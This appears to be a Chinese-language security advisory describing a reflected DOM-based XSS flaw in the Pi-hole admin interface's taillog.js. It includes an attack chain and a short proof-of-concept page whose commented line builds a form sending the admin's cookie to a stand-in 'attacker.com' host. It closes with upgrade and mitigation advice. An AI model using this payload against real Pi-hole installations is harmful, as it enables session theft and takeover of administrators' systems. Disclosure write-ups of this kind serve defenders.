CVE-2026-33403 CVSS 6.1 中危

CVE-2026-33403 Pi-hole DOM型XSS漏洞

披露日期: 2026-04-06

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33403

漏洞类型

DOM型跨站脚本攻击 (XSS)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Pi-hole Admin Interface

漏洞概述

Pi-hole Admin Interface在6.0至6.5之前的版本中存在一处安全缺陷，具体为反射型DOM-based XSS漏洞。该漏洞位于taillog.js组件内，允许未经身份验证的攻击者通过精心设计的特制URL进行攻击。攻击者利用该漏洞可以在管理界面中注入任意HTML内容。由于系统现有的内容安全策略（CSP）配置不完整，缺少关键的form-action指令，攻击者注入的表单元素能够绕过部分防御，将用户的敏感凭证（如登录令牌）窃取并传输至外部服务器。尽管攻击需要用户交互，但其潜在风险不容忽视。

技术细节

该漏洞的核心成因在于taillog.js对用户输入处理的不严谨。具体来说，脚本直接从URL查询参数中获取file参数的值，并将其未经任何转义或过滤地赋值给DOM元素的innerHTML属性。这种反射型DOM XSS允许攻击者控制页面内容。更严重的是，由于CSP策略中未包含form-action指令，攻击者可以构造恶意的HTML表单。通常CSP会限制表单提交的目标地址，但该配置缺失使得攻击者能够将数据POST到任意第三方域名。结合自动提交的JavaScript代码，攻击者可以在管理员访问恶意链接时，悄无声息地捕获并外带管理员的Session ID或其他认证凭证，从而接管Pi-hole管理权限。

攻击链分析

STEP 1

1. 构造恶意链接

攻击者构建包含XSS Payload的URL，利用taillog.php的file参数注入恶意HTML/JS。

STEP 2

2. 诱导访问

攻击者通过钓鱼邮件或社会工程学手段诱导Pi-hole管理员点击该恶意链接。

STEP 3

3. 执行注入

管理员访问链接后，浏览器解析页面，taillog.js将file参数内容写入innerHTML，触发XSS。

STEP 4

4. 凭证窃取

由于CSP缺少form-action，注入的表单自动将管理员的Cookie或凭证发送到攻击者控制的服务器。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!--
// PoC for CVE-2026-33403
// Description: Reflected DOM-based XSS in taillog.js
// Usage: Victim visits the URL below while logged in.
-->

<html>
<body>
<script>
// The vulnerable parameter is 'file' in the taillog script
var payload = '<img src=x onerror=alert(1)>';
// To exfiltrate data via form action (due to missing CSP form-action):
// var payload = '<form action="https://attacker.com/collect" method="POST"><input name="data" value="' + document.cookie + '"><input type="submit"></form>';

var targetUrl = 'http://<pi-hole-address>/admin/scripts/pi-hole/php/taillog.php?file=' + encodeURIComponent(payload);

// Redirect victim or simulate click
window.location.href = targetUrl;
</script>
</body>
</html>

影响范围

Pi-hole Admin Interface >= 6.0, < 6.5

防御指南

临时缓解措施

建议立即将软件升级到修复版本6.5。若无法立即升级，应严格限制管理后台的访问来源IP，避免管理员点击不明链接，并检查现有的CSP配置以尽可能限制表单提交目标。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表